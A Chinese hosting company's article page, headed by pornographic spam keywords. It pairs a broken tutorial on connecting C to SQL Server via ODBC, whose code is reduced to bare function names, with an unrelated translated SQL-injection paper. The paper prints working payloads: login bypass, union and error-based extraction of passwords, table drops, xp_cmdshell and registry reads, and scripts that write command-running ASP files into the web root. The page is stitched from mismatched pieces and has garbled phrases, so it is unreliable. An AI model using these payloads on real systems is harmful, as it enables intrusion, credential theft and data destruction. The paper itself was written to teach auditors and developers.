日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
C語言實(shí)現(xiàn)連接SQL數(shù)據(jù)庫并查詢數(shù)據(jù)(c連接sql數(shù)據(jù)庫并查詢結(jié)果)

在現(xiàn)代計(jì)算機(jī)科學(xué)中,SQL數(shù)據(jù)庫是被廣泛使用的數(shù)據(jù)管理系統(tǒng)之一。C語言作為一種常用的編程語言,其開發(fā)者也對(duì)數(shù)據(jù)庫的連接、管理、運(yùn)行等方面都進(jìn)行了不斷的完善,從而使得C語言在數(shù)據(jù)庫方面也擁有了較為出色的表現(xiàn)。

那么,本篇文章我們就來介紹一下如何使用。

之一步:下載SQL Server

我們需要下載并安裝SQL Server,這是一個(gè)功能強(qiáng)大的關(guān)系型數(shù)據(jù)庫管理系統(tǒng)。SQL Server可以支持Kerberose、LDAP、SSL等各種傳輸協(xié)議,并可使用諸如ADO.NET等數(shù)據(jù)訪問技術(shù)來提高性能和可伸縮性。此外,SQL Server的一個(gè)明顯的優(yōu)勢(shì)是令人信任的安全性:它可以根據(jù)公司的特定要求進(jìn)行安全配置,并提供細(xì)粒度的權(quán)限控制。

第二步:安裝ODBC驅(qū)動(dòng)程序

在官網(wǎng)下載安裝對(duì)應(yīng)的ODBC驅(qū)動(dòng)程序,并完成相應(yīng)的配置。ODBC驅(qū)動(dòng)程序提供了一種統(tǒng)一的方式來連接任何的數(shù)據(jù)庫系統(tǒng),因此使用該方式連接SQL Server也顯得十分方便和簡單。

第三步:連接數(shù)據(jù)庫

在C語言中,使用ODBC API來連接數(shù)據(jù)庫是相對(duì)容易的,只需要使用以下代碼所示函數(shù):

SQLAllocHandle

SQLSetEnvAttr

SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&handle);

SQLSetEnvAttr(handle,SQL_ATTR_ODBC_VERSION,(SQLPOINTER)SQL_OV_ODBC3,0);

SQLAllocHandle

SQLSetConnectAttr

SQLDriverConnect

SQLAllocHandle函數(shù)會(huì)為環(huán)境、連接、語句或描述符返回一個(gè)句柄,并將其指定為參數(shù)標(biāo)識(shí)的類型。SQLSetEnvAttr函數(shù)則允許您修改環(huán)境的屬性;在這里,您要設(shè)置ODBC版本。SQLSetConnectAttr函數(shù)允許您修改連接的屬性,這些屬性可能包括ODBC名稱、用戶名、密碼等。SQLDriverConnect函數(shù)將建立一個(gè)數(shù)據(jù)庫連接。連接字符串是由多個(gè)鍵值對(duì)組成的,例如數(shù)據(jù)庫名稱、服務(wù)器名稱、端口號(hào)等,當(dāng)然,每個(gè)數(shù)據(jù)庫系統(tǒng)的格式可能都是不同的。

第四步:查詢數(shù)據(jù)

連接建立之后,我們就可以開始查詢數(shù)據(jù)了。在C語言中,使用ODBC API也十分便捷。代碼如下:

SQLAllocHandle

SQLExecDirect

SQLFetch

SQLFreeHandle

SQLCloseCursor

SQLAllocHandle

SQLExecDirect函數(shù)用于執(zhí)行SQL語句,之一個(gè)參數(shù)是語句句柄,第二個(gè)參數(shù)是SQL語句字符串。SQLFetch函數(shù)可以獲取語句中的數(shù)據(jù),它將一行數(shù)據(jù)復(fù)制到應(yīng)用程序返回的緩沖區(qū)中。每調(diào)用一次SQLFetch,就會(huì)將緩沖區(qū)移動(dòng)到下一行。需要調(diào)用SQLCloseCursor函數(shù)來關(guān)閉游標(biāo)。在不需要之后,一定要將在之前調(diào)用SQLAllocHandle分配的任何句柄釋放掉??梢允褂肧QLFreeHandle函數(shù)來釋放句柄。

確實(shí)是一個(gè)簡單而重要的過程。C語言憑借自身的高效性和編程邏輯,為SQL數(shù)據(jù)庫的連接和操作提供了很大的幫助。通過以上介紹,我們相信您對(duì)C語言與SQL數(shù)據(jù)庫結(jié)合的運(yùn)用有了更深入的了解。當(dāng)然,實(shí)現(xiàn)C語言和SQL數(shù)據(jù)庫之間的交互并不是十分必要,但它可以提升數(shù)據(jù)操作的效率和精度,從而使得整個(gè)開發(fā)過程更加順暢。

相關(guān)問題拓展閱讀:

  • 如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫操作(查詢插入更新刪除),更好舉例

如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫操作(查詢插入更新刪除),更好舉例

這份文檔是詳細(xì)討論SQL注入技術(shù),它適應(yīng)于比較流行的IIS+ASP+SQLSERVER平臺(tái)。它討論了哪些SQL語句能通過各種各樣的方法注入到應(yīng)用程序中,并且記錄與攻擊相關(guān)的數(shù)據(jù)確認(rèn)和數(shù)據(jù)庫鎖定。

這份文檔的預(yù)期讀者為與數(shù)據(jù)庫通信的WEB程序的開發(fā)者和那些扮演審核WEB應(yīng)用程序的安全專家。

介紹:

SQL是一種用于關(guān)系數(shù)據(jù)庫的結(jié)構(gòu)化查詢語言。它分為許多種,但大多數(shù)都松散地基于美國國家標(biāo)準(zhǔn)化組織最新的標(biāo)準(zhǔn)SQL-92。典型的執(zhí)核彎隱行語句是query,它能夠收集比較有達(dá)標(biāo)性的記錄并返回一個(gè)單一的結(jié)果集。SQL語言可以修改數(shù)據(jù)庫結(jié)構(gòu)(數(shù)據(jù)定義語言)和操作數(shù)據(jù)庫內(nèi)容(數(shù)據(jù)操作語言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語言。

當(dāng)一個(gè)攻擊者能夠通過往query中插入一系列的sql語句來操作數(shù)據(jù)寫入到應(yīng)用程序中去,我們管這種方法定義成SQL注入。

一個(gè)典型的SQL語句如下:

Select id,forename,surname from authors

這條語句將返回authors表中所有行的id,forename和surname列。這個(gè)結(jié)果可以被限制,例如:

Select id,forename,surname from authors where forename’john’ and surname=’ith’

需要著重指明的是字符串’john’和’ith’被單引號(hào)限制。明確的說,forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過輸入值來往這個(gè)查詢中注入一些SQL語句,

如下:

Forename:jo’hn

Surname:ith

查詢語句變?yōu)?

Select id,forename,surname from authors where forename=’jo’hn’ and surname=’ith’

當(dāng)數(shù)據(jù)庫試圖去執(zhí)行這個(gè)查詢時(shí),它將返回如下錯(cuò)誤:

Server:Msg 170, Level 15, State 1, Line 1

Line 1:Incorrect syntax near ‘hn’

造成這種結(jié)果的原因是插入了.作為定界符的單引號(hào)。數(shù)據(jù)庫嘗試去執(zhí)行’hn’,但是失敗。如果攻擊者提供特別的輸入如:

Forename:jo’;drop table authors—

Surname:

結(jié)果是authors表被刪除,造成這種結(jié)果的原因我們稍后再講。

看上去好象通過從輸入中去掉單引號(hào)或者通過某些方法避免它們都可以解決這個(gè)問題。這是可行的,但是用這種方法做解決方法會(huì)存在幾個(gè)困難。之一,并不是所有用戶提供的數(shù)據(jù)都是字符串。如果用戶輸入的是通過用戶id來查詢author,那我們的查詢應(yīng)該像這樣:

Select id,forename,surname from authors where id=1234

在這種情況下,一個(gè)攻擊者可以非常簡單地在數(shù)字的結(jié)尾添加SQL語句,在其他版本的SQL語言中,使用各種各樣的限定符號(hào);在數(shù)據(jù)庫管理系統(tǒng)JET引擎中,數(shù)據(jù)可以被使用’#’限定。第二,避免單引號(hào)盡管看上去可以,但是是改廳沒必要的鬧沖,原因我們稍后再講。

我們更進(jìn)一步地使用一個(gè)簡單的ASP登陸頁面來指出哪些能進(jìn)入SQLSERVER數(shù)據(jù)庫并且嘗試鑒別進(jìn)入一些虛構(gòu)的應(yīng)用程序的權(quán)限。

這是一個(gè)提交表單頁的代碼,讓用戶輸入用戶名和密碼:

Login Page

Login

Username:

Password:

下面是process_login.asp的代碼,它是用來控制登陸的:

p { font-size=20pt ! important}

font { font-size=20pt ! important}

h1 { font-size=64pt ! important}

ACCESS DENIED

ACCESS GRANTED

Welcome, ” ); Response.end }

}

function Main() { //Set up connection

var username

var cn = Server.createobject( “ADODB.Connection” );

cn.connectiontimeout = 20;

cn.open( “l(fā)ocalserver”, “sa”, “password” );

username = new String( Request.form(“username”) );

if( username.length > 0) {

Login( cn );

}

cn.close();

}

Main();

%>

出現(xiàn)問題的地方是process_lgin.asp中產(chǎn)生查詢語句的部分:

Var sql=”select * from users where username='”+username+”‘ and password='”+password+”‘”;

如果用戶輸入的信息如下:

Username:’;drop table users—

Password:

數(shù)據(jù)庫中表users將被刪除,拒絕任何用戶進(jìn)入應(yīng)用程序?!?hào)在Transact-SQL中表示忽略’—’以后的語句,’;’符號(hào)表示一個(gè)查詢的結(jié)束和另一個(gè)查詢的開始?!挥趗sername字段中是必須的,它為了使這個(gè)特殊的查詢終止,并且不返回錯(cuò)誤。

攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:

Username:admin’—

攻擊者可以使用users表中之一個(gè)用戶,輸入如下:

Username:’ or 1=1—

更特別地,攻擊者可以使用完全虛構(gòu)的用戶登陸,輸入如下:

Username:’ union select 1,’fictional_user’,’some_password’,1—

這種結(jié)果的原因是應(yīng)用程序相信攻擊者指定的是從數(shù)據(jù)庫中返回結(jié)果的一部分。

通過錯(cuò)誤消息獲得信息

這個(gè)幾乎是David Litchfield首先發(fā)現(xiàn)的,并且通過作者滲透測(cè)試的;后來David寫了一份文檔,后來作者參考了這份文檔。這些解釋討論了‘錯(cuò)誤消息‘潛在的機(jī)制,使讀者能夠完全地了解它,潛在地引發(fā)他們的能力。

為了操作數(shù)據(jù)庫中的數(shù)據(jù),攻擊者必須確定某些數(shù)據(jù)庫和某些表的結(jié)構(gòu)。例如我們可以使用如下語句創(chuàng)建user表:

Create talbe users(

Id int,

Username varchar(255),

Password varchar(255),

Privs int

)

然后將下面的用戶插入到users表中:

Insert into users values(0,’admin’,’r00tr0x!’,0xffff)

Insert into users values(0,’guest’,’guest’,0x0000)

Insert into users values(0,’chris’,’password’,0x00ff)

Insert into users values(0,’fred’,’sesame’,0x00ff)

如果我們的攻擊者想插入一個(gè)自己的用戶。在不知道users表結(jié)構(gòu)的情況下,他不可能成功。即使他比較幸運(yùn),至于privs字段不清楚。攻擊者可能插入一個(gè)’1’,這樣只給他自己一個(gè)低權(quán)限的用戶。

幸運(yùn)地,如果從應(yīng)用程序(默認(rèn)為ASP行為)返回錯(cuò)誤消息,那么攻擊者可以確定整個(gè)數(shù)據(jù)庫的結(jié)構(gòu),并且可以以程序中連接SQLSERVER的權(quán)限度曲任何值。

(下面以一個(gè)簡單的數(shù)據(jù)庫和asp腳本來舉例說明他們是怎么工作的)

首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語法的having子句:

Username:’ having 1=1—

這樣將會(huì)出現(xiàn)如下錯(cuò)誤:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

Column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/process_login.asp, line 35

因此現(xiàn)在攻擊者知道了表的名字和之一個(gè)地段的名字。他們?nèi)匀豢梢酝ㄟ^把字段放到group by子句只能感去找到一個(gè)一個(gè)字段名,如下:

Username:’ group by users.id having 1=1—

出現(xiàn)的錯(cuò)誤如下:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

Column ‘users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/process_login.asp, line 35

最終攻擊者得到了username字段后:

‘ group by users.id,users.username,users.password,users.privs having 1=1—

這句話并不產(chǎn)生錯(cuò)誤,相當(dāng)于:

select * from users where username=”

因此攻擊者現(xiàn)在知道查詢涉及users表,按順序使用列’id,username,password,privs’。

能夠確定每個(gè)列的類型是非常有用的。這可以通過使用類型轉(zhuǎn)化來實(shí)現(xiàn),例如:

Username:’ union select sum(username) from users—

這利用了SQLSERVER在確定兩個(gè)結(jié)果集的字段是否相等前應(yīng)用sum子句。嘗試去計(jì)算sum會(huì)得到以下消息:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

The sum or average aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

這告訴了我們’username’字段的類型是varchar。如果是另一種情況,我們嘗試去計(jì)算sum()的是數(shù)字類型,我們得到的錯(cuò)誤消息告訴我們兩個(gè)的字段數(shù)量不相等。

Username:’ union select sum(id) from users—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

/process_login.asp, line 35

我們可以用這種技術(shù)近似地確定數(shù)據(jù)庫中任何表中的任何字段的類型。

這樣攻擊者就可以寫一個(gè)好的insert查詢,例如:

Username:’;insert into users values(666,’attacker’,’foobar’,’0xffff)—

這種技術(shù)的潛在影響不僅僅是這些。攻擊者可以利用這些錯(cuò)誤消息顯示環(huán)境信息或數(shù)據(jù)庫。通過運(yùn)行一列一定格式的字符串可以獲得標(biāo)準(zhǔn)的錯(cuò)誤消息:

select * from master ..syessages

解釋這些將實(shí)現(xiàn)有趣的消息。

一個(gè)特別有用的消息關(guān)系到類型轉(zhuǎn)化。如果你嘗試將一個(gè)字符串轉(zhuǎn)化成一個(gè)整型數(shù)字,那么字符串的所有內(nèi)容會(huì)返回到錯(cuò)誤消息中。例如在我們簡單的登陸頁面中,在username后面會(huì)顯示出SQLSERVER的版本和所運(yùn)行的操作系統(tǒng)信息:

Username:’ union select @@version,1,1,1—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the nvarchar value ‘Microsoft SQL Server.00.194 (Intel X86) Aug:57:48 Copyright (c)Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type int.

/process_login.asp, line 35

這句嘗試去將內(nèi)置的’@@version’常量轉(zhuǎn)化成一個(gè)整型數(shù)字,因?yàn)閡sers表中的之一列是整型數(shù)字。

這種技術(shù)可以用來讀取數(shù)據(jù)庫中任何表的任何值。自從攻擊者對(duì)用戶名和用戶密碼比較感興趣后,他們比較喜歡去從users表中讀取用戶名,例如:

Username:’ union select min(username),1,1,1 from users where username>’a’—

這句選擇users表中username大于’a’中的最小值,并試圖把它轉(zhuǎn)化成一個(gè)整型數(shù)字:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘a(chǎn)dmin’ to a column of data type int.

/process_login.asp, line 35

因此攻擊者已經(jīng)知道用戶admin是存在的。這樣他就可以重復(fù)通過使用where子句和查詢到的用戶名去尋找下一個(gè)用戶。

Username:’ union select min(username),1,1,1 from users where username>’admin’—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘chris’ to a column of data type int.

/process_login.asp, line 35

一旦攻擊者確定了用戶名,他就可以開始收集密碼:

Username:’ union select password,1,1,1 from users where username=’admin’—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘r00tr0x!’ to a column of data type int.

/process_login.asp, line 35

一個(gè)更高級(jí)的技術(shù)是將所有用戶名和密碼連接長一個(gè)單獨(dú)的字符串,然后嘗試把它轉(zhuǎn)化成整型數(shù)字。這個(gè)例子指出:Transavt-SQL語法能夠在不改變相同的行的意思的情況下把它們連接起來。下面的腳本將把值連接起來:

begin declare @ret varchar(8000)

set @ret=’:’

select @ret=@ret+’ ‘+username+’/’+password from users where

username>@ret

select @ret as ret into foo

end

攻擊者使用這個(gè)當(dāng)作用戶名登陸(都在一行)

Username: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+username+’/’+password from users where username>@ret select @ret as ret into foo end—

這就創(chuàng)建了一個(gè)foo表,里面只有一個(gè)單獨(dú)的列’ret’,里面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個(gè)低權(quán)限的用戶能夠在同一個(gè)數(shù)據(jù)庫中創(chuàng)建表,或者創(chuàng)建臨時(shí)數(shù)據(jù)庫。

然后攻擊者就可以取得我們要得到的字符串:

Username:’ union select ret,1,1,1 from foo—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘: admin/r00tr0x! guest/guest chris/password fred/sesame’ to a column of data type int.

/process_login.asp, line 35

然后丟棄(刪除)表來清楚腳印:

Username:’; drop table foo—

這個(gè)例子僅僅是這種技術(shù)的一個(gè)表面的作用。沒必要說,如果攻擊者能夠從數(shù)據(jù)庫中獲得足夠的錯(cuò)誤西,他們的工作就變的無限簡單。

獲得更高的權(quán)限

一旦攻擊者控制了數(shù)據(jù)庫,他們就想利用那個(gè)權(quán)限去獲得網(wǎng)絡(luò)上更高的控制權(quán)。這可以通過許多途徑來達(dá)到:

1. 在數(shù)據(jù)庫服務(wù)器上,以SQLSERVER權(quán)限利用xp_cmdshell擴(kuò)展存儲(chǔ)過程執(zhí)行命令。

2. 利用xp_regread擴(kuò)展存儲(chǔ)過程去讀注冊(cè)表的鍵值,當(dāng)然包括SAM鍵(前提是SQLSERVER是以系統(tǒng)權(quán)限運(yùn)行的)

3. 利用其他存儲(chǔ)過程去改變服務(wù)器

4. 在連接的服務(wù)器上執(zhí)行查詢

5. 創(chuàng)建客戶擴(kuò)展存儲(chǔ)過程去在SQLSERVER進(jìn)程中執(zhí)行溢出代碼

6. 使用’bulk insert’語法去讀服務(wù)器上的任意文件

7. 使用bcp在服務(wù)器上建立任意的文本格式的文件

8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲(chǔ)過程去創(chuàng)建ActiveX應(yīng)用程序,使它能做任何ASP腳本可以做的事情

這些只列舉了非常普通的可能攻擊方法的少量,攻擊者很可能使用其它方法。我們介紹收集到的攻擊關(guān)于SQL服務(wù)器的明顯攻擊方法,為了說明哪方面可能并被授予權(quán)限去注入SQL.。我們將依次處理以上提到的各種方法:

許多存儲(chǔ)過程被創(chuàng)建在SQLSERVER中,執(zhí)行各種各樣的功能,例如發(fā)送電子郵件和與注冊(cè)表交互。

Xp_cmdshell是一個(gè)允許執(zhí)行任意的命令行命令的內(nèi)置的存儲(chǔ)過程。例如:

Exec master..xp_cmdshell ‘dir’

將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表。

Exec master..xp_cmdshell ‘net user’

將提供服務(wù)器上所有用戶的列表。當(dāng)SQLSERVER正常以系統(tǒng)帳戶或域帳戶運(yùn)行時(shí),攻擊者可以做出更嚴(yán)重的危害。

另一個(gè)有用的內(nèi)置存儲(chǔ)過程是xp_regXXXX類的函數(shù)。

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumkeys

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

這些函數(shù)的使用方法舉例如下:

exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’

這將確定什么樣的會(huì)話連接在服務(wù)器上是可以使用的

exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’

這將顯示服務(wù)器上所有SNMP團(tuán)體配置。在SNMP團(tuán)體很少被更改和在許多主機(jī)間共享的情況下,有了這些信息,攻擊者或許會(huì)重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。

這很容易想象到一個(gè)攻擊者可以利用這些函數(shù)讀取SAM,修改系統(tǒng)服務(wù)的配置,使它下次機(jī)器重啟時(shí)啟動(dòng),或在下次任何用戶登陸時(shí)執(zhí)行一條任意的命令。

xp_servicecontrol過程允許用戶啟動(dòng),停止,暫停和繼續(xù)服務(wù):

exec master..xp_servicecontrol ‘start’,’schedule’

exec master..xp_servicecontrol ‘start’,’server’

下表中列出了少量的其他有用的存儲(chǔ)過程:

Xp_availablemedia 顯示機(jī)器上有用的驅(qū)動(dòng)器

Xp_dirtree 允許獲得一個(gè)目錄樹

Xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源

Xp_loginconfig Reveals information about the security mode of the server

Xp_makecab 允許用戶在服務(wù)器上創(chuàng)建一個(gè)壓縮文件

Xp_ntsec_enumdomains 列舉服務(wù)器可以進(jìn)入的域

Xp_terminate_process 提供進(jìn)程的進(jìn)程ID,終止此進(jìn)程

SQL SERVER提供了一種允許服務(wù)器連接的機(jī)制,也就是說允許一臺(tái)數(shù)據(jù)庫服務(wù)器上的查詢能夠操作另一臺(tái)服務(wù)器上的數(shù)據(jù)。這個(gè)鏈接存放在master.sysservers表中。如果一個(gè)連接的服務(wù)器已經(jīng)被設(shè)置成使用’sp_addlinkedsrvlogin’過程,當(dāng)前可信的連接不用登陸就可以訪問到服務(wù)器?!痮penquery’函數(shù)允許查詢脫離服務(wù)器也可以執(zhí)行。

擴(kuò)展存儲(chǔ)過程應(yīng)用程序接口是相當(dāng)簡單的,創(chuàng)建一個(gè)攜帶惡意代碼的擴(kuò)展存儲(chǔ)過程動(dòng)態(tài)連接庫是一個(gè)相當(dāng)簡單的任務(wù)。使用命令行有幾個(gè)方法可以上傳動(dòng)態(tài)連接庫到SQL服務(wù)器上,還有其它包括了多種自動(dòng)通訊的通訊機(jī)制,比如HTTP下載和FTP腳本。

一旦動(dòng)態(tài)連接庫文件在機(jī)器上運(yùn)行即SQL服務(wù)器能夠被訪問——這不需要它自己是SQL服務(wù)器——攻擊者就能夠使用下面的命令添加擴(kuò)展存儲(chǔ)過程(這種情況下,我們的惡意存儲(chǔ)過程就是一個(gè)能輸出服務(wù)器的系統(tǒng)文件的小的木馬):

Sp_addextendedproc ‘xp_webserver’,’c:\temp\xp_foo.dll’

在正常的方式下,這個(gè)擴(kuò)展存儲(chǔ)過程可以被運(yùn)行:

exec xp_webserver

一旦這個(gè)程序被運(yùn)行,可以使用下面的方法將它除去:

xp_dropextendedproc ‘xp_webserver’

使用’bulk insert’語法可以將一個(gè)文本文件插入到一個(gè)臨時(shí)表中。簡單地創(chuàng)建這個(gè)表:

create table foo( line varchar(8000) )

然后執(zhí)行bulk insert操作把文件中的數(shù)據(jù)插入到表中,如:

bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’

可以使用上述的錯(cuò)誤消息技術(shù),或者使用’union’選擇,使文本文件中的數(shù)據(jù)與應(yīng)用程序正常返回的數(shù)據(jù)結(jié)合,將數(shù)據(jù)取回。這個(gè)用來獲取存放在數(shù)據(jù)庫服務(wù)器上的腳本源代碼或者ASP腳本代碼是非常有用的。

使用’bulk insert’的相對(duì)技術(shù)可以很容易建立任意的文本文件。不幸的是這需要命令行工具?!痓cp’,即’bulk copy program’

既然 bcp可以從SQL服務(wù)進(jìn)程外訪問數(shù)據(jù)庫,它需要登陸。這代表獲得權(quán)限不是很困難,既然攻擊者能建立,或者利用整體安全機(jī)制(如果服務(wù)器配置成可以使用它)。

命令行格式如下:

bcp “select * from text..foo” queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar

‘S’參數(shù)為執(zhí)行查詢的服務(wù)器,’U’參數(shù)為用戶名,’P’參數(shù)為密碼,這里為’foobar’

SQL SERVER中提供了幾個(gè)內(nèi)置的允許創(chuàng)建ActiveX自動(dòng)執(zhí)行腳本的存儲(chǔ)過程。這些腳本和運(yùn)行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或JavaScript書寫,他們創(chuàng)建自動(dòng)執(zhí)行對(duì)象并和它們交互。一個(gè)自動(dòng)執(zhí)行腳本使用這種方法書寫可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個(gè)例子:

(1)這個(gè)例子使用’wscript.shell’對(duì)象建立了一個(gè)記事本的實(shí)例:

wscript.shell example

declare @o int

exec sp_oacreate ‘wscript.shell’,@o out

exec sp_oamethod @o,’run’,NULL,’notepad.exe’

我們可以通過指定在用戶名后面來執(zhí)行它:

Username:’; declare @o int exec sp_oacreate ‘wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’—

(2)這個(gè)例子使用’scripting.filesystemobject’對(duì)象讀一個(gè)已知的文本文件:

–scripting.filesystemobject example – read a known file

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1

exec @ret=sp_oamethod @f,’readline’,@line out

while(@ret=0)

begin

print @line

exec @ret=sp_oamethod @f,’readline’,@line out

end

(3)這個(gè)例子創(chuàng)建了一個(gè)能執(zhí)行通過提交到的任何命令:

— scripting.filesystemobject example – create a ‘run this’.asp file

declare @o int,@f int,@t int,@ret int

exec sp_oacreate ‘scripting.filesystemobject’,@o out

exec sp_oamethod @o,’createtextfile’,@f out,’c:\inetpub\wwwroot\foo.asp’,1

exec @ret=sp_oamethod @f,’writeline’,NULL,”

需要指出的是如果運(yùn)行的環(huán)境是WIN NT4+IIS4平臺(tái)上,那么通過這個(gè)程序運(yùn)行的命令是以系統(tǒng)權(quán)限運(yùn)行的。在IIS5中,它以一個(gè)比較低的權(quán)限IWAM_XXXaccount運(yùn)行。

(4)這些例子闡述了這個(gè)技術(shù)的適用性;它可以使用’speech.voicetext’對(duì)象引起SQL SERVER發(fā)聲:

declare @o int,@ret int

exec sp_oacreate ‘speech.voicetext’,@o out

exec sp_oamethod @o,’register’,NULL,’foo’,’bar’

exec sp_oasetproperty @o,’speed’,150

exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to,us’,528

waitfor delay ’00:00:05′

我們可以在我們假定的例子中,通過指定在用戶名后面來執(zhí)行它(注意這個(gè)例子不僅僅是注入一個(gè)腳本,同時(shí)以admin權(quán)限登陸到應(yīng)用程序):

Username:admin’;declare @o int,@ret int exec sp_oacreate ‘speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to us’,528 waitfor delay ’00:00:05′–

傳說如果一個(gè)ASP應(yīng)用程序在數(shù)據(jù)庫中使用了存儲(chǔ)過程,那么SQL注入是不可能的。這句話只對(duì)了一半,這要看ASP腳本中調(diào)用這個(gè)存儲(chǔ)過程的方式。

本質(zhì)上,如果一個(gè)有參數(shù)的查詢被執(zhí)行 ,并且用戶提供的參數(shù)通過安全檢查才放入到查詢中,那么SQL注入明顯是不可能發(fā)生的。但是如果攻擊者努力影響所執(zhí)行查詢語句的非數(shù)據(jù)部分,這樣他們就可能能夠控制數(shù)據(jù)庫。

比較好的常規(guī)的標(biāo)準(zhǔn)是:

· 如果一個(gè)ASP腳本能夠產(chǎn)生一個(gè)被提交的SQL查詢字符串,即使它使用了存儲(chǔ)過程也是能夠引起SQL注入的弱點(diǎn)。

c 連接sql數(shù)據(jù)庫并查詢結(jié)果的介紹就聊到這里吧,感謝你花時(shí)間閱讀本站內(nèi)容,更多關(guān)于c 連接sql數(shù)據(jù)庫并查詢結(jié)果,C語言實(shí)現(xiàn)連接SQL數(shù)據(jù)庫并查詢數(shù)據(jù),如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫操作(查詢插入更新刪除),更好舉例的信息別忘了在本站進(jìn)行查找喔。

成都創(chuàng)新互聯(lián)科技有限公司,是一家專注于互聯(lián)網(wǎng)、IDC服務(wù)、應(yīng)用軟件開發(fā)、網(wǎng)站建設(shè)推廣的公司,為客戶提供互聯(lián)網(wǎng)基礎(chǔ)服務(wù)!
創(chuàng)新互聯(lián)(www.cdcxhl.com)提供簡單好用,價(jià)格厚道的香港/美國云服務(wù)器和獨(dú)立服務(wù)器。創(chuàng)新互聯(lián)成都老牌IDC服務(wù)商,專注四川成都IDC機(jī)房服務(wù)器托管/機(jī)柜租用。為您精選優(yōu)質(zhì)idc數(shù)據(jù)中心機(jī)房租用、服務(wù)器托管、機(jī)柜租賃、大帶寬租用,可選線路電信、移動(dòng)、聯(lián)通等。


網(wǎng)頁名稱:C語言實(shí)現(xiàn)連接SQL數(shù)據(jù)庫并查詢數(shù)據(jù)(c連接sql數(shù)據(jù)庫并查詢結(jié)果)
網(wǎng)站地址:http://www.dlmjj.cn/article/dhgddhg.html